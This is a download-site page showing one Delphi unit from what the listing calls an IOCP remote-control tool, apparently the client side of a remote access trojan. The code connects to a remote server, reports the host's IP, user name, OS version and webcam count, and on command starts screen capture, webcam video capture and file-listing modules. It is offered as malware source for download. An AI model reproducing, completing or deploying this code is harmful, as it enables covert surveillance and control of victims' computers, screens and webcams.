⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 selecteventclientclass.pas

📁 delphi源代码。iocp远控比较完整的代码
💻 PAS
字号:
unit SelectEventClientClass;

interface
uses
  Windows,
  Messages,
  WinSock2,
  WinSock, 
  CaptureDeskUnit,
  CaptureMediaUnit,
  FileListAndSysInfoUnit,
  //FileTransmitUnit,
  PublicFunctionUnit,
  vfw,
  MxZLib;

const 
  //对象类名
  CapScreen     = 2000;
  CapVideo      = 2001;
  CapAudio      = 2002;
  GetSystemInfo = 2003;
  TransmitFiles = 2004;
type 
  //事件通知选择类
  TSelectEventClient = Class
  private
    //命令接受数据区
    RecvDataBuffer :array[0..DATA_BUFSIZE - 1] of Char;
    DetectSocketStatusThreadHandle : THandle;
    DetectSocketStatusThreadID : DWORD;
    ReceiveOrderThreadHandle : THandle;
    ReceiveOrderThreadID : DWORD;
    //创建soket的时候使用到的变量
    RemoteServerIP : string;
    RemoteServerPort : Word;
    Con : TSockAddrIn;
    MainSocket : TSocket;
    MainSocketWsaEvent : WSAEVENT;
    //其他变量
    MainFormHandle : HWND;
    //屏传类
    myCaptureAndSendScreen : TCaptureAndSendScreen;
    //视频捕捉和发送类
    myCaptureVideo : TCaptureVideo;
    //文件传输类
    //myFileTransmit : TFileTransmit;
    //文件列表管理类
    myFileListAndSysInfo : TFileListAndSysInfo;
  public
    constructor Create(FormHandle : HWND; const ServerIP : string;
      const ServerPort : Word; out IsSucess : Boolean);
    destructor Destroy; override;
    //连接到server
    function ConnectServer : Boolean;
    procedure DetectServerStatus;
    procedure ReceiveRemoteCMD;
  end;

implementation

//-------------------------TSelectEventClient-----------------------

//检测skocet状态,当断线后,从新连接
procedure GlobleDetectSocketStatus(SelectEventClient : TSelectEventClient); stdcall;
begin
  SelectEventClient.DetectServerStatus;
end;

//数据处理线程,专门用来进行传输给远程主机
procedure GlobleReceiveRemoteCMD(SelectEventClient : TSelectEventClient); stdcall;
begin
  SelectEventClient.ReceiveRemoteCMD;
end;
 
{----------------------------TSelectEventClient-------------------------------}

constructor TSelectEventClient.Create(FormHandle : HWND;
  const ServerIP : string; Const ServerPort : Word; out IsSucess : Boolean);
var
  ConvertedIP : string;
  WsaData : TWSADATA;
begin
  inherited Create;
  IsSucess := True;
  MainFormHandle := FormHandle;
  RemoteServerIP := ServerIP;
  RemoteServerPort := ServerPort;
  // Initialize Winsock
  if WSAStartup(MAKEWORD(2, 2), WsaData) <> NO_ERROR then
  begin
    WSACleanup;
    IsSucess := False;
    Exit;
  end;
  //innitial the ip and Port
  con.sin_family := AF_INET;
  HostToIP(RemoteServerIP, ConvertedIP);
  con.sin_addr.s_addr := inet_addr(PChar(ConvertedIP));
  con.sin_port := htons(RemoteServerPort);
  // Create a socket.
  MainSocket := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (MainSocket = INVALID_SOCKET) then
  begin
    CloseSocket(MainSocket);
    WSACleanup;
    IsSucess := False;
    Exit;
  end;
  //创建一个数据收发线程,专门用来进行检测远程主机是否下线
  DetectSocketStatusThreadHandle := CreateThread(nil, 0, @GlobleDetectSocketStatus,
    Pointer(Self), CREATE_SUSPENDED, DetectSocketStatusThreadID);
  //创建一个数据收发线程,专门用来接收远程服务器的命令的
  ReceiveOrderThreadHandle := CreateThread(nil, 0, @GlobleReceiveRemoteCMD,
    Pointer(Self), CREATE_SUSPENDED, ReceiveOrderThreadID);
  IsSucess := ConnectServer;
end;


destructor TSelectEventClient.Destroy;
begin
  //再关闭socket,并让命令接收线程退出
  ShutDown(MainSocket, SD_BOTH);
  CloseSocket(MainSocket);
  //首先free各个功能模块类
  if myCaptureAndSendScreen <> nil then
    FreeAndNil(myCaptureAndSendScreen);
  if myCaptureVideo <> nil then
    FreeAndNil(myCaptureVideo);
  if myFileListAndSysInfo <> nil then
    FreeAndNil(myFileListAndSysInfo);
  //if myFileTransmit <> nil then
    //FreeAndNil(myFileTransmit); 
  Sleep(200);
  //取消绑定
  WSAEventSelect(MainSocket, 0, 0);
  //释放event对象,并让detect线程退出
  WSACloseEvent(MainSocketWsaEvent);
  MainSocketWsaEvent := 0;   
  WSACleanup;
end;

//配置socket并连接到server
function TSelectEventClient.ConnectServer : Boolean;
begin
  Result := True;
  //清空结构体
  ZeroMemory(@RemoteSystemInfo, sizeof(RemoteSystemInfo));
  //得到本机IP
  GetLocalIP(RemoteSystemInfo.LocalIPaddressString);
  //得到当前的主机名
  GetUserAndHostName(RemoteSystemInfo.CurrentUserName);
  //得到当前的操作系统
  ZeroMemory(@RemoteSystemInfo.SystemVersion, sizeof(RemoteSystemInfo.SystemVersion));
  RemoteSystemInfo.SystemVersion.dwOSVersionInfoSize := sizeof(RemoteSystemInfo.SystemVersion);
  GetVersionEx(RemoteSystemInfo.SystemVersion);
  //得到是否安装了摄像头驱动
  RemoteSystemInfo.WebCamCount := DetectWebCam;
  //头像序号
  RemoteSystemInfo.ServerIconIndex := ClientIconIndex;
  //上线的软件版本
  MoveMemory(@RemoteSystemInfo.ServerVersion[0], @ClientVersion[0], sizeof(ClientVersion));
  //标识是根socket,传输屏幕和命令信息的
  RemoteSystemInfo.RemoteDataType := MainSocketData;
  //上线主机备注 
  MoveMemory(@RemoteSystemInfo.UseSelfDefine[0], @ServerUseSelfDefine[0], sizeof(ServerUseSelfDefine));
  //connect to server
  if (Connect(MainSocket, con, SizeOf(con)) = SOCKET_ERROR) then
  begin
    CloseSocket(MainSocket);
    WSACleanup;
    Result := False;
    Exit;
  end;
  //发送信息
  SendAllTheData(MainSocket, @RemoteSystemInfo, SizeOf(RemoteSystemInfo));
  MainSocketWsaEvent := WSACreateEvent;
  WSAEventSelect(MainSocket, MainSocketWsaEvent, FD_CLOSE);
  //恢复线程
  ResumeThread(ReceiveOrderThreadHandle);
  ResumeThread(DetectSocketStatusThreadHandle);
  CloseHandle(ReceiveOrderThreadHandle);
  CloseHandle(DetectSocketStatusThreadHandle);
end;

(*-------------------检测连接的远程主机状态,并收取其发来的命令------------------*)

//数据处理线程,专门用来进行检测远程主机是否下线
procedure TSelectEventClient.DetectServerStatus;
var
  myWSANETWORKEVENTS : WSANETWORKEVENTS;
  WaitResult : DWord; 
const
  HeartPackage : WORD = $FFFF;
begin
  //连接到sever
  while True do
  begin                                                                   //Sever心跳包时间1分钟
    WaitResult := WSAWaitForMultipleEvents(1, @MainSocketWsaEvent, False, 2000, False);
    //如果超时,则继续下一个循环
    if WaitResult >= WSA_WAIT_TIMEOUT then
    begin
      if WaitResult <> WSA_WAIT_FAILED then
        //发送心跳包
        SendAllTheData(MainSocket, @HeartPackage, SizeOf(HeartPackage))
      else
        Break;
      Continue;
    end;
    //查询网络事件类型
    ZeroMemory(@myWSANETWORKEVENTS, SizeOf(myWSANETWORKEVENTS));
    WSAEnumNetworkEvents(MainSocket, MainSocketWsaEvent, @myWSANETWORKEVENTS);
    //远程socket关闭通知
    if (myWSANETWORKEVENTS.lNetWorkEvents and FD_CLOSE) > 0 then
    begin
      //告诉主程序,连接中断了,lparam = 2 表示socket断开,1表示没连接成功, 0表示主动断开连接
      SendMessage(MainFormHandle, WsaNotifyMessage, 1, 2);
      Break;
    end;
  end;
end;

(*----------------------------接收来自远程主机的命令----------------------------*)

//接收来自远程主机的命令,并向对应的线程发送命令
procedure TSelectEventClient.ReceiveRemoteCMD;
var
  myDataHeaderInfo : TDataHeaderInfo;
  //命令描述头
  myInterChangeHeader : TInterChangeHeader;
  ActuallySentSizePerPakage : LongInt;
  //创建类是否成功
  IsSucess : Boolean;
begin
  while True do
  begin
    //先接收8个字节,
    if RecvAllData(MainSocket, @myDataHeaderInfo, SizeOf(myDataHeaderInfo),
      ActuallySentSizePerPakage) = SOCKET_ERROR then
    begin
      Break;
    end;
    //再接收命令描述头
    if RecvAllData(MainSocket, @myInterChangeHeader, SizeOf(myInterChangeHeader),
      ActuallySentSizePerPakage) = SOCKET_ERROR then
    begin
      Break;
    end; 
    //再接收真正的数据
    if RecvAllData(MainSocket, @RecvDataBuffer[0],
      myDataHeaderInfo.CompressedDataSize - sizeof(myInterChangeHeader),
      ActuallySentSizePerPakage) = SOCKET_ERROR then
    begin
      Break;
    end;
    case myInterChangeHeader.OrderObject of
      CapScreen:
      begin
        if myInterChangeHeader.Order = 0 then
        begin
          myCaptureAndSendScreen := TCaptureAndSendScreen.Create(Con, IsSucess, myInterChangeHeader.OrderExtend);
          //开始
          if not IsSucess then
          begin
            //如果初始化失败,则free掉
            myCaptureAndSendScreen.Free;
            myCaptureAndSendScreen := nil;
          end;
        end
        else if myCaptureAndSendScreen <> nil then
        begin
          myCaptureAndSendScreen.Free;
          myCaptureAndSendScreen := nil;
        end; 
      end;
      CapVideo:
      begin
        if myInterChangeHeader.Order = 0 then
        begin
          myCaptureVideo := TCaptureVideo.Create(Con, IsSucess, myInterChangeHeader.OrderExtend);
          //开始进行视频截取
          if not IsSucess then
          begin
            //如果初始化视频失败,则free掉
            myCaptureVideo.Free;
            myCaptureVideo := nil;
          end;
        end
        else if myCaptureVideo <> nil then
          FreeAndNil(myCaptureVideo);
      end; 
      CapAudio:
      begin
        //接受来自远程主机的音频的开关命令
        
      end; 
      GetSystemInfo:
      begin
        if myInterChangeHeader.Order = 0 then
        begin
          myFileListAndSysInfo := TFileListAndSysInfo.Create(Con, IsSucess, myInterChangeHeader.OrderExtend);
          //开始进行文件列表查询
          if not IsSucess then
          begin
            //如果初始化失败,则free掉
            myFileListAndSysInfo.Free;
            myFileListAndSysInfo := nil;
          end;
        end
        else if myFileListAndSysInfo <> nil then
          FreeAndNil(myFileListAndSysInfo);
      end;
      TransmitFiles:
      begin 
        {if myInterChangeHeader.Order = 0 then
        begin
          myFileTransmit := TFileTransmit.Create(Con, IsSucess, myInterChangeHeader.OrderExtend);
          //开始进行文件传输
          if not IsSucess then
          begin
            //如果初始化文件传输失败,则free掉
            myFileTransmit.Free;
            myFileTransmit := nil;
            Continue;
          end;
        end
        else if myFileTransmit <> nil then
          FreeAndNil(myFileTransmit);}
      end; 
    end;//end case
  end;
end;


end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -